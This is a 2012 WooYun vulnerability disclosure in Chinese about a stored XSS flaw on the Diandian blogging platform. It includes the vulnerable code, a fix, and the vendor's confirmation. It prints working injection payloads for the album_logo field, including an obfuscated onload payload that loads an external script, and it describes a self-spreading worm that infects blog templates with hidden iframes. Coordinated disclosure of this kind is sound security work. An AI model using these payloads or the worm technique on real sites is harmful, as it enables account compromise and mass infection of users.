漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2012-09086
漏洞标题:点点网存储型Xss
相关厂商:点点网
漏洞作者: gainover
提交时间:2012-07-01 09:26
修复时间:2012-08-15 09:27
公开时间:2012-08-15 09:27
漏洞类型:xss跨站脚本攻击
危害等级:高
自评Rank:12
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2012-07-01: 细节已通知厂商并且等待厂商处理中
2012-07-01: 厂商已经确认,细节仅向厂商公开
2012-07-11: 细节向核心白帽子及相关领域专家公开
2012-07-21: 细节向普通白帽子公开
2012-07-31: 细节向实习白帽子公开
2012-08-15: 细节向公众公开
简要描述:
点点网某处编程缺陷导致存储型Xss。
详细说明:
响应xsser的精神,分享就要写过程。
--------------------------------
1. 点点网,在xxx.diandian.com域下是允许自定义JS内容的,但是没有formkey的话,无非进行写操作,从而无法进行传播。分析了下,目测,点点应该是只把formkey暴露到了www.diandian.com这个域下。 因而,我们需要寻找www.diandian.com域下的xss或者其它方式来获取formkey才能进行后续的传播操作。
2. 带着这个目的,得去找www.diandian.com域下的xss。 首先我还是想到的FLASH,不过google了下,www.diandian.com域下搜索不到flash文件。 只能自己找,但是我才刚用点点,对点点的功能都不熟悉,有点无从下手的感觉。
3. 还是打开google, 搜索 site:www.diandian.com -"tag" -"content" -"category" ... (屏蔽一些不可能存在XSS的关键词页面)。 看到一个页面
http://www.diandian.com/blog/fm/iframe/reggaesky
看了下页面源代码,可以看到左侧的tags是直接输出,而右侧的音乐专辑不在源码中,应该是.innerHTML方式输出。
4. 直觉告诉俺,这个页面可能会有问题。于是回到自己博客发了一篇音乐,然后单独对
http://www.diandian.com/blog/fm/iframe/wooyuntest (wooyuntest是俺测试帐号)这个页面进行分析。
5. 首先测试了标签位置,<, > 被过滤,没戏
6. 接着为了查看右侧是如何输出的,打开chrome的调试工具,搜索,cover-image,可以定位音乐专辑封面输出的相关JS文件,http://s.libdd.com/js/app/fm.$6765.js
7. 将这个JS的代码,复制到编辑器中。。显眼的语法高亮,让我眼前一亮。
8. 缺陷代码如下:
这里src属性是用 ' 闭合的,如果src属性里允许输入',那么就将造成Xss。
9. 基于此,我们编辑之前发送的那篇音乐帖子。
POST http://www.diandian.com/edit/02c85840-c297-11e1-9a22-782bcb38253b
其它参数在此不表。将album_logo 参数修改为:
http://img.xiami.com/./images/album/img60/1260/66481314675280_1.jpg' onload='alert(document.domain)//
保存后,再打开http://www.diandian.com/blog/fm/iframe/wooyuntest
看来这里没有过滤 ' ,如我们所愿的弹出了 www.diandian.com
10. 接下来就是漏洞的利用。 调用外部JS, http://xsst.sinaapp.com/diandian.js
http://img.xiami.com/./images/album/img60/1260/66481314675280_1.jpg' onload='window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,100,105,97,110,100,105,97,110,46,106,115);document.body.appendChild(window.s)//
11. http://xsst.sinaapp.com/diandian.js 源码如下:
12. 源码说明:
A. 首先获取当前博客的个人信息,包括 blogId, blogName等
B. 然后用此ID获取当前用户的模版代码,进行判断,如果不包含__wooyun_worm字样,则进行感染操作。
C. 将用户原有的模版代码,插入 <iframe src="http://www.diandian.com/blog/fm/iframe/wooyuntest" style="display:none" name="__wooyun_worm"></iframe>
13. 在wooyuntest的模版代码中,插入 <iframe src="http://www.diandian.com/blog/fm/iframe/wooyuntest" style="display:none" name="__wooyun_worm"></iframe>
14. 当受害者访问 wooyuntest.diandian.com 时,其自己博客将会被感染。
漏洞证明:
测试环境:Win7, IE9, Chrome
漏洞测试效果:
使用另外一个用户gainover,访问wooyuntest.diandian.com后,博客模版被感染,使得 gainover.diandian.com同样带有攻击性。
被感染的受害者
修复方案:
因为你们对c里的双引号等都进行了转义,故
将http://s.libdd.com/js/app/fm.$6765.js中的
g(".cover-image").html("<img src='"+c+"'>")
修改为
g(".cover-image").html("<img src=\""+c+"\">")
即可。
版权声明:转载请注明来源 gainover@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:14
确认时间:2012-07-01 11:59
厂商回复:
非常感谢gainover & 乌云!
线上已经紧急修复.
最新状态:
暂无